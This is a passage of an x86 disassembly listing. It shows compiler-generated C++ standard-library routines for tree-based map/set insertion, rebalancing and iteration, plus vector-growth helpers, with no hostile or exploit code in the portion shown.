jmp short loc_40952F
sub_4094C5 endp
; =============== S U B R O U T I N E =======================================
sub_409541 proc near ; CODE XREF: sub_408E4C+1Fp
; sub_408E4C+64p ...
arg_0 = dword ptr 4
mov eax, esi
call sub_4057B6
cmp [esp+arg_0], eax
jb short loc_409553
call sub_40DCFC
loc_409553: ; CODE XREF: sub_409541+Bj
mov eax, [esp+arg_0]
imul eax, 1Ch
add eax, [esi+4]
retn 4
sub_409541 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409560 proc near ; CODE XREF: sub_4081BF+376p
; sub_408593+28Fp ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, eax
push edi
mov edi, [esi+4]
test edi, edi
jnz short loc_409576
xor ebx, ebx
jmp short loc_409583
; ---------------------------------------------------------------------------
loc_409576: ; CODE XREF: sub_409560+10j
mov eax, [esi+0Ch]
sub eax, edi
push 1Ch
cdq
pop ecx
idiv ecx
mov ebx, eax
loc_409583: ; CODE XREF: sub_409560+14j
mov eax, esi
call sub_4057B6
cmp eax, ebx
jnb short loc_4095A0
push [ebp+arg_0]
push 1
push dword ptr [esi+8]
call sub_409A9C
mov [esi+8], eax
jmp short loc_4095B9
; ---------------------------------------------------------------------------
loc_4095A0: ; CODE XREF: sub_409560+2Cj
mov ebx, [esi+8]
cmp edi, ebx
jbe short loc_4095AC
call sub_40DCFC
loc_4095AC: ; CODE XREF: sub_409560+45j
push ebx
push esi
push [ebp+arg_0]
lea ebx, [ebp+var_C]
call sub_409A1D
loc_4095B9: ; CODE XREF: sub_409560+3Ej
pop edi
pop esi
pop ebx
leave
retn 4
sub_409560 endp
; =============== S U B R O U T I N E =======================================
sub_4095C0 proc near ; CODE XREF: sub_408593+75p
; sub_408593+AAp ...
mov eax, offset loc_41AFC8
call sub_41AE44
sub esp, 68h
push ebx
push esi
mov esi, [ebp+8]
push edi
push dword ptr [ebp+0Ch]
mov eax, esi
call sub_40A70C
xor ebx, ebx
cmp esi, ebx
mov [ebp-14h], eax
jnz short loc_4095EB
call sub_40DCFC
loc_4095EB: ; CODE XREF: sub_4095C0+24j
mov eax, [esi+4]
mov [ebp-18h], esi
mov [ebp-20h], esi
lea edi, [ebp-20h]
lea esi, [ebp-18h]
mov [ebp-1Ch], eax
call sub_40989F
test al, al
mov esi, [ebp-14h]
jnz short loc_409618
mov eax, [ebp+0Ch]
lea ecx, [esi+0Ch]
call sub_409C4D
test al, al
jz short loc_40968C
loc_409618: ; CODE XREF: sub_4095C0+47j
push ebx
lea ecx, [ebp-3Ch]
mov dword ptr [ebp-24h], 0Fh
call sub_401564
push dword ptr [ebp+0Ch]
lea ecx, [ebp-74h]
mov [ebp-4], ebx
call sub_401C1E
lea eax, [ebp-3Ch]
push eax
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 1
call sub_401C1E
push esi
mov byte ptr [ebp-4], 2
push dword ptr [ebp-18h]
lea eax, [ebp-74h]
push eax
lea eax, [ebp-20h]
push eax
mov eax, [ebp+8]
call sub_409ACC
mov edi, [eax]
mov eax, [eax+4]
push ebx
push 1
lea ecx, [ebp-58h]
mov [ebp-14h], eax
call sub_4013C4
push ebx
push 1
lea ecx, [ebp-74h]
call sub_4013C4
push ebx
push 1
lea ecx, [ebp-3Ch]
call sub_4013C4
mov esi, [ebp-14h]
jmp short loc_40968F
; ---------------------------------------------------------------------------
loc_40968C: ; CODE XREF: sub_4095C0+56j
mov edi, [ebp-18h]
loc_40968F: ; CODE XREF: sub_4095C0+CAj
cmp edi, ebx
jnz short loc_409698
call sub_40DCFC
loc_409698: ; CODE XREF: sub_4095C0+D1j
cmp esi, [edi+4]
jnz short loc_4096A2
call sub_40DCFC
loc_4096A2: ; CODE XREF: sub_4095C0+DBj
mov ecx, [ebp-0Ch]
pop edi
lea eax, [esi+28h]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_4095C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096B6 proc near ; CODE XREF: sub_408593+417p
; .vty:004089C1p
var_8 = byte ptr -8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 0Ch
push ebx
mov ebx, eax
mov eax, [ebx+4]
mov ecx, [eax]
push eax
push ebx
push ecx
push ebx
lea eax, [esp+20h+var_8]
push eax
call sub_40A50C
push dword ptr [ebx+4]
call sub_40DD8A
and dword ptr [ebx+4], 0
and dword ptr [ebx+8], 0
pop ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_4096B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096EB proc near ; CODE XREF: sub_408593+40Cp
; .vty:004089C9p
var_8 = byte ptr -8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push ecx
push ecx
push ebx
push edi
mov edi, eax
mov eax, [edi+4]
mov ecx, [eax]
push eax
push edi
push ecx
push edi
lea ebx, [esp+20h+var_8]
call sub_40A73E
push dword ptr [edi+4]
call sub_40DD8A
and dword ptr [edi+4], 0
and dword ptr [edi+8], 0
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4096EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409720 proc near ; CODE XREF: sub_408593+1CDp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebx+4]
push esi
mov esi, [eax+4]
mov [ebp+var_8], eax
mov al, 1
mov byte ptr [ebp+var_C], al
jmp short loc_409753
; ---------------------------------------------------------------------------
loc_409737: ; CODE XREF: sub_409720+37j
mov eax, [ebp+arg_0]
lea ecx, [esi+0Ch]
mov [ebp+var_8], esi
call sub_409C4D
test al, al
mov byte ptr [ebp+var_C], al
jz short loc_409750
mov esi, [esi]
jmp short loc_409753
; ---------------------------------------------------------------------------
loc_409750: ; CODE XREF: sub_409720+2Aj
mov esi, [esi+8]
loc_409753: ; CODE XREF: sub_409720+15j
; sub_409720+2Ej
cmp byte ptr [esi+39h], 0
jz short loc_409737
test al, al
mov ecx, [ebp+var_8]
mov esi, ecx
mov [ebp+var_10], esi
mov [ebp+var_14], ebx
jz short loc_40979A
mov eax, [ebx+4]
cmp ecx, [eax]
jnz short loc_40978F
push [ebp+arg_0]
push 1
loc_409774: ; CODE XREF: sub_409720+92j
lea eax, [ebp+var_14]
push eax
mov esi, ebx
call sub_409C73
mov ecx, [eax]
mov eax, [eax+4]
mov [edi], ecx
mov [edi+4], eax
mov byte ptr [edi+8], 1
jmp short loc_4097C0
; ---------------------------------------------------------------------------
loc_40978F: ; CODE XREF: sub_409720+4Dj
lea esi, [ebp+var_14]
call sub_409DC9
mov esi, [ebp+var_10]
loc_40979A: ; CODE XREF: sub_409720+46j
mov ecx, [ebp+arg_0]
lea eax, [esi+0Ch]
call sub_409C4D
test al, al
jz short loc_4097B4
push [ebp+arg_0]
mov ecx, [ebp+var_8]
push [ebp+var_C]
jmp short loc_409774
; ---------------------------------------------------------------------------
loc_4097B4: ; CODE XREF: sub_409720+87j
mov eax, [ebp+var_14]
mov [edi], eax
mov [edi+4], esi
mov byte ptr [edi+8], 0
loc_4097C0: ; CODE XREF: sub_409720+6Dj
mov eax, edi
pop esi
leave
retn 4
sub_409720 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097C7 proc near ; CODE XREF: sub_408E4C+29p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [edi+4]
sub esp, 10h
push ebx
push esi
mov esi, [eax+4]
mov ebx, eax
jmp short loc_4097F1
; ---------------------------------------------------------------------------
loc_4097D9: ; CODE XREF: sub_4097C7+2Ej
mov ecx, [ebp+arg_4]
lea eax, [esi+0Ch]
call sub_409C4D
test al, al
jz short loc_4097ED
mov esi, [esi+8]
jmp short loc_4097F1
; ---------------------------------------------------------------------------
loc_4097ED: ; CODE XREF: sub_4097C7+1Fj
mov ebx, esi
mov esi, [esi]
loc_4097F1: ; CODE XREF: sub_4097C7+10j
; sub_4097C7+24j
cmp byte ptr [esi+39h], 0
jz short loc_4097D9
cmp ebx, [edi+4]
mov [ebp+var_4], ebx
mov [ebp+var_8], edi
jz short loc_409816
mov eax, [ebp+arg_4]
lea ecx, [ebx+0Ch]
call sub_409C4D
test al, al
jnz short loc_409816
lea ecx, [ebp+var_8]
jmp short loc_409822
; ---------------------------------------------------------------------------
loc_409816: ; CODE XREF: sub_4097C7+39j
; sub_4097C7+48j
mov eax, [edi+4]
mov [ebp+var_C], eax
mov [ebp+var_10], edi
lea ecx, [ebp+var_10]
loc_409822: ; CODE XREF: sub_4097C7+4Dj
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov ecx, [ecx+4]
pop esi
mov [eax], edx
mov [eax+4], ecx
pop ebx
leave
retn 8
sub_4097C7 endp
; =============== S U B R O U T I N E =======================================
sub_409835 proc near ; CODE XREF: sub_4027E7+8Ap
; sub_402AA0+A8p ...
cmp dword ptr [esi], 0
jnz short loc_40983F
call sub_40DCFC
loc_40983F: ; CODE XREF: sub_409835+3j
mov eax, [esi]
mov ecx, [esi+4]
cmp ecx, [eax+8]
jb short loc_40984E
call sub_40DCFC
loc_40984E: ; CODE XREF: sub_409835+12j
mov eax, [esi+4]
retn
sub_409835 endp
; =============== S U B R O U T I N E =======================================
sub_409852 proc near ; CODE XREF: sub_409ACC+121p
; sub_40A50C+74p ...
push ebx
xor ebx, ebx
cmp [esi], ebx
jnz short loc_40985E
call sub_40DCFC
loc_40985E: ; CODE XREF: sub_409852+5j
mov eax, [esi+4]
cmp [eax+45h], bl
jz short loc_40986D
call sub_40DCFC
jmp short loc_40989B
; ---------------------------------------------------------------------------
loc_40986D: ; CODE XREF: sub_409852+12j
mov ecx, [eax+8]
cmp [ecx+45h], bl
jnz short loc_409890
jmp short loc_409879
; ---------------------------------------------------------------------------
loc_409877: ; CODE XREF: sub_409852+2Cj
mov ecx, eax
loc_409879: ; CODE XREF: sub_409852+23j
mov eax, [ecx]
cmp [eax+45h], bl
jz short loc_409877
mov [esi+4], ecx
jmp short loc_40989B
; ---------------------------------------------------------------------------
loc_409885: ; CODE XREF: sub_409852+44j
mov ecx, [esi+4]
cmp ecx, [eax+8]
jnz short loc_409898
mov [esi+4], eax
loc_409890: ; CODE XREF: sub_409852+21j
mov eax, [eax+4]
cmp [eax+45h], bl
jz short loc_409885
loc_409898: ; CODE XREF: sub_409852+39j
mov [esi+4], eax
loc_40989B: ; CODE XREF: sub_409852+19j
; sub_409852+31j
mov eax, esi
pop ebx
retn
sub_409852 endp
; =============== S U B R O U T I N E =======================================
sub_40989F proc near ; CODE XREF: sub_4089E6+311p
; sub_4089E6+365p ...
mov eax, [esi]
test eax, eax
jz short loc_4098A9
cmp eax, [edi]
jz short loc_4098AE
loc_4098A9: ; CODE XREF: sub_40989F+4j
call sub_40DCFC
loc_4098AE: ; CODE XREF: sub_40989F+8j
mov eax, [esi+4]
sub eax, [edi+4]
neg eax
sbb eax, eax
inc eax
retn
sub_40989F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098BA proc near ; CODE XREF: sub_4081BF+1A9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, eax
call sub_40690A
test eax, eax
jnz short loc_4098D0
xor ebx, ebx
jmp short loc_4098FA
; ---------------------------------------------------------------------------
loc_4098D0: ; CODE XREF: sub_4098BA+10j
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_4098DD
call sub_40DCFC
loc_4098DD: ; CODE XREF: sub_4098BA+1Cj
cmp [ebp+arg_8], 0
jz short loc_4098E8
cmp [ebp+arg_8], esi
jz short loc_4098ED
loc_4098E8: ; CODE XREF: sub_4098BA+27j
call sub_40DCFC
loc_4098ED: ; CODE XREF: sub_4098BA+2Cj
mov eax, [ebp+arg_C]
sub eax, edi
push 38h
cdq
pop ecx
idiv ecx
mov ebx, eax
loc_4098FA: ; CODE XREF: sub_4098BA+14j
push [ebp+arg_C]
mov ecx, [ebp+arg_4]
push [ebp+arg_8]
push esi
call sub_409E2A
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_409916
call sub_40DCFC
loc_409916: ; CODE XREF: sub_4098BA+55j
imul ebx, 38h
mov [ebp+arg_C], edi
add edi, ebx
cmp edi, [esi+8]
ja short loc_409928
cmp edi, [esi+4]
jnb short loc_40992D
loc_409928: ; CODE XREF: sub_4098BA+67j
call sub_40DCFC
loc_40992D: ; CODE XREF: sub_4098BA+6Cj
mov eax, [ebp+arg_0]
mov [eax+4], edi
pop edi
mov [eax], esi
pop esi
pop ebx
pop ecx
pop ebp
retn 10h
sub_4098BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40993D proc near ; CODE XREF: sub_4081BF+184p
; sub_409E2A+AFp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B28F
mov eax, [ebp+arg_4]
imul eax, 38h
add esp, 14h
add eax, [ebp+arg_0]
pop edi
leave
retn 0Ch
sub_40993D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40996D proc near ; CODE XREF: sub_4081BF+2F8p
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov eax, esi
call sub_406949
test eax, eax
jnz short loc_409983
and [ebp+var_8], eax
jmp short loc_4099AE
; ---------------------------------------------------------------------------
loc_409983: ; CODE XREF: sub_40996D+Fj
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_409990
call sub_40DCFC
loc_409990: ; CODE XREF: sub_40996D+1Cj
cmp [ebp+arg_4], 0
jz short loc_40999B
cmp [ebp+arg_4], esi
jz short loc_4099A0
loc_40999B: ; CODE XREF: sub_40996D+27j
call sub_40DCFC
loc_4099A0: ; CODE XREF: sub_40996D+2Cj
mov eax, [ebp+arg_8]
sub eax, edi
push 2Ch
cdq
pop ecx
idiv ecx
mov [ebp+var_8], eax
loc_4099AE: ; CODE XREF: sub_40996D+14j
push [ebp+arg_8]
mov ecx, [ebp+arg_0]
push [ebp+arg_4]
push esi
call sub_40A022
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_4099CA
call sub_40DCFC
loc_4099CA: ; CODE XREF: sub_40996D+56j
push [ebp+var_8]
mov [ebp+arg_8], edi
lea edi, [ebp+arg_4]
mov [ebp+arg_4], esi
call sub_40AFC3
mov ecx, [eax]
mov eax, [eax+4]
mov [ebx+4], eax
mov [ebx], ecx
mov eax, ebx
pop edi
leave
retn 0Ch
sub_40996D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099EC proc near ; CODE XREF: sub_4081BF+2D6p
; sub_40A022+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2EF
mov eax, [ebp+arg_4]
imul eax, 2Ch
add esp, 14h
add eax, [ebp+arg_0]
pop edi
leave
retn 0Ch
sub_4099EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A1D proc near ; CODE XREF: sub_409560+54p
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov eax, esi
call sub_4057B6
test eax, eax
jnz short loc_409A33
and [ebp+var_8], eax
jmp short loc_409A5E
; ---------------------------------------------------------------------------
loc_409A33: ; CODE XREF: sub_409A1D+Fj
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_409A40
call sub_40DCFC
loc_409A40: ; CODE XREF: sub_409A1D+1Cj
cmp [ebp+arg_4], 0
jz short loc_409A4B
cmp [ebp+arg_4], esi
jz short loc_409A50
loc_409A4B: ; CODE XREF: sub_409A1D+27j
call sub_40DCFC
loc_409A50: ; CODE XREF: sub_409A1D+2Cj
mov eax, [ebp+arg_8]
sub eax, edi
push 1Ch
cdq
pop ecx
idiv ecx
mov [ebp+var_8], eax
loc_409A5E: ; CODE XREF: sub_409A1D+14j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_40A246
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_409A7A
call sub_40DCFC
loc_409A7A: ; CODE XREF: sub_409A1D+56j
push [ebp+var_8]
mov [ebp+arg_8], edi
lea edi, [ebp+arg_4]
mov [ebp+arg_4], esi
call sub_40AFF4
mov ecx, [eax]
mov eax, [eax+4]
mov [ebx+4], eax
mov [ebx], ecx
mov eax, ebx
pop edi
leave
retn 0Ch
sub_409A1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A9C proc near ; CODE XREF: sub_409560+36p
; sub_40A246+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B35E
mov eax, [ebp+arg_4]
imul eax, 1Ch
add esp, 14h
add eax, [ebp+arg_0]
pop edi
leave
retn 0Ch
sub_409A9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409ACC proc near ; CODE XREF: sub_4095C0+99p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
mov ebx, eax
xor eax, eax
cmp [ebx+8], eax
push esi
push edi
mov [ebp+var_8], eax
mov [ebp+var_4], eax
jnz short loc_409AFE
mov ecx, [ebx+4]
loc_409AE7: ; CODE XREF: sub_409ACC+64j
push [ebp+arg_4]
push 1
loc_409AEC: ; CODE XREF: sub_409ACC+A2j
mov esi, ebx
loc_409AEE: ; CODE XREF: sub_409ACC+EFj
; sub_409ACC+F8j ...
push [ebp+arg_0]
call sub_40A5B6
mov eax, [ebp+arg_0]
jmp loc_409C46
; ---------------------------------------------------------------------------
loc_409AFE: ; CODE XREF: sub_409ACC+16j
mov eax, [ebx+4]
mov eax, [eax]
lea edi, [ebp+var_10]
lea esi, [ebp+arg_8]
mov [ebp+var_C], eax
mov [ebp+var_10], ebx
call sub_40989F
test al, al
jz short loc_409B32
mov esi, [ebp+arg_C]
mov eax, [ebp+arg_4]
lea ecx, [esi+0Ch]
call sub_409C4D
test al, al
jz loc_409C2B
mov ecx, esi
jmp short loc_409AE7
; ---------------------------------------------------------------------------
loc_409B32: ; CODE XREF: sub_409ACC+4Aj
mov eax, [ebx+4]
lea edi, [ebp+var_10]
lea esi, [ebp+arg_8]
mov [ebp+var_C], eax
mov [ebp+var_10], ebx
call sub_40989F
test al, al
jz short loc_409B73
mov eax, [ebx+4]
mov eax, [eax+8]
mov ecx, [ebp+arg_4]
add eax, 0Ch
call sub_409C4D
test al, al
jz loc_409C2B
push [ebp+arg_4]
mov eax, [ebx+4]
mov ecx, [eax+8]
push 0
jmp loc_409AEC
; ---------------------------------------------------------------------------
loc_409B73: ; CODE XREF: sub_409ACC+7Cj
mov edi, [ebp+arg_C]
mov eax, [ebp+arg_4]
lea ecx, [edi+0Ch]
call sub_409C4D
test al, al
jz short loc_409BC9
mov eax, [ebp+arg_8]
lea esi, [ebp+var_8]
mov [ebp+var_8], eax
mov [ebp+var_4], edi
call sub_40A8CD
mov eax, [eax+4]
mov ecx, [ebp+arg_4]
add eax, 0Ch
call sub_409C4D
test al, al
jz short loc_409BC9
mov ecx, [ebp+var_4]
mov eax, [ecx+8]
cmp byte ptr [eax+45h], 0
push [ebp+arg_4]
mov esi, ebx
jz short loc_409BC0
loc_409BB9: ; CODE XREF: sub_409ACC+153j
push 0
jmp loc_409AEE
; ---------------------------------------------------------------------------
loc_409BC0: ; CODE XREF: sub_409ACC+EBj
push 1
mov ecx, edi
jmp loc_409AEE
; ---------------------------------------------------------------------------
loc_409BC9: ; CODE XREF: sub_409ACC+B7j
; sub_409ACC+DAj
mov ecx, [ebp+arg_4]
lea eax, [edi+0Ch]
call sub_409C4D
test al, al
jz short loc_409C2B
mov eax, [ebp+arg_8]
mov [ebp+var_8], eax
mov eax, [ebx+4]
lea esi, [ebp+var_8]
mov [ebp+var_4], edi
mov [ebp+var_C], eax
mov [ebp+var_10], ebx
call sub_409852
lea edi, [ebp+var_10]
call sub_40989F
test al, al
jnz short loc_409C10
mov ecx, [ebp+var_4]
mov eax, [ebp+arg_4]
add ecx, 0Ch
call sub_409C4D
test al, al
jz short loc_409C2B
loc_409C10: ; CODE XREF: sub_409ACC+130j
mov ecx, [ebp+arg_C]
mov eax, [ecx+8]
cmp byte ptr [eax+45h], 0
push [ebp+arg_4]
mov esi, ebx
jnz short loc_409BB9
mov ecx, [ebp+var_4]
push 1
jmp loc_409AEE
; ---------------------------------------------------------------------------
loc_409C2B: ; CODE XREF: sub_409ACC+5Cj
; sub_409ACC+91j ...
push [ebp+arg_4]
push ebx
lea ebx, [ebp+var_14]
call sub_40A44B
mov edx, [eax]
mov ecx, [ebp+arg_0]
mov [ecx], edx
mov eax, [eax+4]
mov [ecx+4], eax
mov eax, ecx
loc_409C46: ; CODE XREF: sub_409ACC+2Dj
pop edi
pop esi
pop ebx
leave
retn 10h
sub_409ACC endp
; =============== S U B R O U T I N E =======================================
sub_409C4D proc near ; CODE XREF: sub_4089E6+323p
; sub_4095C0+4Fp ...
cmp dword ptr [ecx+18h], 10h
push edi
mov edi, [ecx+14h]
jb short loc_409C5C
mov ecx, [ecx+4]
jmp short loc_409C5F
; ---------------------------------------------------------------------------
loc_409C5C: ; CODE XREF: sub_409C4D+8j
add ecx, 4
loc_409C5F: ; CODE XREF: sub_409C4D+Dj
push ecx
mov ecx, [eax+14h]
call sub_4059BE
xor ecx, ecx
test eax, eax
setl cl
mov al, cl
pop edi
retn
sub_409C4D endp
; =============== S U B R O U T I N E =======================================
sub_409C73 proc near ; CODE XREF: sub_409720+5Ap
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 48h
cmp dword ptr [esi+8], 5D1745Ch
push ebx
push edi
mov edi, ecx
jb short loc_409CBF
push offset aMapSetTTooLong ; "map/set<T> too long"
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_401869
push offset dword_41FEF8
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_41C2A8
call sub_4107BC
loc_409CBF: ; CODE XREF: sub_409C73+18j
push dword ptr [ebp+10h]
mov eax, [esi+4]
push eax
push edi
push eax
call sub_40A86C
inc dword ptr [esi+8]
mov ebx, eax
mov eax, [esi+4]
cmp edi, eax
jnz short loc_409CE6
mov [eax+4], ebx
mov eax, [esi+4]
mov [eax], ebx
mov eax, [esi+4]
jmp short loc_409D04
; ---------------------------------------------------------------------------
loc_409CE6: ; CODE XREF: sub_409C73+64j
cmp byte ptr [ebp+0Ch], 0
jz short loc_409CF9
mov [edi], ebx
mov eax, [esi+4]
cmp edi, [eax]
jnz short loc_409D07
mov [eax], ebx
jmp short loc_409D07
; ---------------------------------------------------------------------------
loc_409CF9: ; CODE XREF: sub_409C73+77j
mov [edi+8], ebx
mov eax, [esi+4]
cmp edi, [eax+8]
jnz short loc_409D07
loc_409D04: ; CODE XREF: sub_409C73+71j
mov [eax+8], ebx
loc_409D07: ; CODE XREF: sub_409C73+80j
; sub_409C73+84j ...
mov edi, ebx
lea eax, [ebx+4]
jmp loc_409D9B
; ---------------------------------------------------------------------------
loc_409D11: ; CODE XREF: sub_409C73+12Ej
mov ecx, [eax]
mov edx, [ecx+4]
cmp ecx, [edx]
jnz short loc_409D4F
mov edx, [edx+8]
cmp byte ptr [edx+38h], 0
jz short loc_409D57
cmp edi, [ecx+8]
jnz short loc_409D30
push esi
mov edi, ecx
call sub_40A7EA
loc_409D30: ; CODE XREF: sub_409C73+B3j
mov eax, [edi+4]
mov byte ptr [eax+38h], 1
mov eax, [edi+4]
mov eax, [eax+4]
mov byte ptr [eax+38h], 0
mov eax, [edi+4]
mov ecx, [eax+4]
push esi
call sub_40A82A
jmp short loc_409D98
; ---------------------------------------------------------------------------
loc_409D4F: ; CODE XREF: sub_409C73+A5j
mov edx, [edx]
cmp byte ptr [edx+38h], 0
jnz short loc_409D6F
loc_409D57: ; CODE XREF: sub_409C73+AEj
mov byte ptr [ecx+38h], 1
mov byte ptr [edx+38h], 1
mov ecx, [eax]
mov ecx, [ecx+4]
mov byte ptr [ecx+38h], 0
mov eax, [eax]
mov edi, [eax+4]
jmp short loc_409D98
; ---------------------------------------------------------------------------
loc_409D6F: ; CODE XREF: sub_409C73+E2j
cmp edi, [ecx]
jnz short loc_409D7B
push esi
mov edi, ecx
call sub_40A82A
loc_409D7B: ; CODE XREF: sub_409C73+FEj
mov eax, [edi+4]
mov byte ptr [eax+38h], 1
mov eax, [edi+4]
mov eax, [eax+4]
mov byte ptr [eax+38h], 0
mov eax, [edi+4]
mov ecx, [eax+4]
push esi
call sub_40A7EA
loc_409D98: ; CODE XREF: sub_409C73+DAj
; sub_409C73+FAj
lea eax, [edi+4]
loc_409D9B: ; CODE XREF: sub_409C73+99j
mov ecx, [eax]
cmp byte ptr [ecx+38h], 0
jz loc_409D11
mov eax, [esi+4]
mov eax, [eax+4]
mov ecx, [ebp-0Ch]
mov byte ptr [eax+38h], 1
mov eax, [ebp+8]
mov [eax+4], ebx
pop edi
mov [eax], esi
mov large fs:0, ecx
pop ebx
leave
retn 0Ch
sub_409C73 endp
; =============== S U B R O U T I N E =======================================
sub_409DC9 proc near ; CODE XREF: sub_409720+72p
push ebx
xor ebx, ebx
cmp [esi], ebx
jnz short loc_409DD5
call sub_40DCFC
loc_409DD5: ; CODE XREF: sub_409DC9+5j
mov eax, [esi+4]
cmp [eax+39h], bl
jz short loc_409DEA
mov eax, [eax+8]
mov [esi+4], eax
cmp [eax+39h], bl
jz short loc_409E26
jmp short loc_409E1C
; ---------------------------------------------------------------------------
loc_409DEA: ; CODE XREF: sub_409DC9+12j
mov ecx, [eax]
cmp [ecx+39h], bl
jnz short loc_409E0C
jmp short loc_409DF5
; ---------------------------------------------------------------------------
loc_409DF3: ; CODE XREF: sub_409DC9+32j
mov ecx, eax
loc_409DF5: ; CODE XREF: sub_409DC9+28j
mov eax, [ecx+8]
cmp [eax+39h], bl
jz short loc_409DF3
mov [esi+4], ecx
jmp short loc_409E26
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409DC9+49j
mov ecx, [esi+4]
cmp ecx, [eax]
jnz short loc_409E14
mov [esi+4], eax
loc_409E0C: ; CODE XREF: sub_409DC9+26j
mov eax, [eax+4]
cmp [eax+39h], bl
jz short loc_409E02
loc_409E14: ; CODE XREF: sub_409DC9+3Ej
mov ecx, [esi+4]
cmp [ecx+39h], bl
jz short loc_409E23
loc_409E1C: ; CODE XREF: sub_409DC9+1Fj
call sub_40DCFC
jmp short loc_409E26
; ---------------------------------------------------------------------------
loc_409E23: ; CODE XREF: sub_409DC9+51j
mov [esi+4], eax
loc_409E26: ; CODE XREF: sub_409DC9+1Dj
; sub_409DC9+37j ...
mov eax, esi
pop ebx
retn
sub_409DC9 endp
; =============== S U B R O U T I N E =======================================
sub_409E2A proc near ; CODE XREF: sub_4098BA+4Ap
mov eax, offset loc_41B14D
call sub_41AE44
sub esp, 44h
push ebx
push esi
mov esi, [ebp+8]
push edi
lea eax, [ebp-4Ch]
mov [ebp-10h], esp
push eax
call sub_407525
xor ebx, ebx
mov [ebp-4], ebx
mov ecx, [esi+4]
cmp ecx, ebx
jz short loc_409E62
mov eax, [esi+0Ch]
sub eax, ecx
push 38h
cdq
pop ecx
idiv ecx
mov ebx, eax
loc_409E62: ; CODE XREF: sub_409E2A+29j
mov eax, esi
call sub_40690A
mov edi, 4924924h
mov ecx, edi
sub ecx, eax
cmp ecx, 1
jnb short loc_409E7C
call sub_40684D
loc_409E7C: ; CODE XREF: sub_409E2A+4Bj
mov eax, esi
call sub_40690A
inc eax
cmp ebx, eax
jnb loc_409F47
mov eax, ebx
shr eax, 1
sub edi, eax
cmp edi, ebx
jnb short loc_409E9A
xor ebx, ebx
jmp short loc_409E9C
; ---------------------------------------------------------------------------
loc_409E9A: ; CODE XREF: sub_409E2A+6Aj
add ebx, eax
loc_409E9C: ; CODE XREF: sub_409E2A+6Ej
mov eax, esi
call sub_40690A
inc eax
cmp ebx, eax
jnb short loc_409EB2
mov eax, esi
call sub_40690A
mov ebx, eax
